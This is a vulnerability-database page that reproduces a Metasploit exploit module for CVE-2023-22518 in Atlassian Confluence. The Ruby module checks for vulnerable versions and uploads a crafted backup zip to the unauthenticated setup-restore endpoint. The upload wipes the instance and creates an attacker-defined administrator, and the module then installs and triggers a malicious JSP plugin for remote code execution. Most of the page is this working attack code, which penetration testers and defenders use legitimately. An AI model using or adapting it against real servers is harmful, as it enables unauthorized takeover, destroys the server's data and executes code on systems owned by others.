Lucene search
K

Atlassian Confluence Improper Authorization / Code Execution Exploit

🗓️ 19 Dec 2023 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 415 Views

Atlassian Confluence improper authorization vulnerability allows unauthenticated attacker to create administrator account and gain code executio

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version
  include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)',
        'Description' => %q{
          This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a
          Confluence instance administrator account. Using this account, an attacker can then perform all
          administrative actions that are available to Confluence instance administrator. This module uses the
          administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code
          execution on the target in the context of the of the user running the confluence server.
        },
        'Author' => [
          'Atlassian', # Discovery
          'jheysel-r7' # msf module
        ],
        'References' => [
          [ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'],
          [ 'CVE', '2023-22518']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Java',
            {
              'Platform' => 'java',
              'Arch' => [ARCH_JAVA]
            },
          ]
        ],
        'DisclosureDate' => '2023-10-31',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8090),
        OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
        OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
        # The endpoint we target to trigger the vulnerability.
        OptEnum.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]),
        # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.
        OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])
      ]
    )
  end

  def check
    confluence_version = get_confluence_version
    return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version

    # Confluence Server and Confluence Data Center have the same vulnerable version ranges.
    if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||
       confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||
       confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||
       confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) ||
       confluence_version == Rex::Version.new('8.6.0')
      return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
    end

    Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
  end

  # https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html
  def generate_hash(password)
    salt = OpenSSL::Random.random_bytes(16)
    iterations = 10000
    digest = OpenSSL::Digest.new('SHA1')

    key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest)
    salted_key = salt + key
    encoded_hash = Base64.strict_encode64(salted_key)

    '{PKCS5S2}' + encoded_hash
  end

  def create_zip
    zip_file = Rex::Zip::Archive.new

    # exportDescriptor.properties needs to be present in the zip file in order for it to be valid.
    export_descriptor = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'exportDescriptor.properties'))
    zip_file.add_file('exportDescriptor.properties', export_descriptor)

    entities_xml = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'entities.xml'))
    entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase)
    entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME'])
    entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD']))

    zip_file.add_file('entities.xml', entities_xml)
    zip_file.pack
  end

  def upload_backup
    zip_file = create_zip
    post_data = Rex::MIME::Message.new
    post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"')
    post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"')
    post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(8..16)}\"")

    data = post_data.to_s
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'keep_cookies' => true,
      'headers' => {
        'X-Atlassian-Token' => 'no-check'
      },
      'vars_get' => {
        'synchronous' => 'true'
      }
    }, 120)

    fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200
    print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'")
  end

  def exploit
    print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")

    # Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password
    upload_backup

    # Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system.
    payload_endpoint = rand_text_alphanumeric(8)
    plugin_key = rand_text_alpha(8)
    begin
      payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint)
      upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
      trigger_payload_plugin(payload_endpoint)
    ensure
      delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation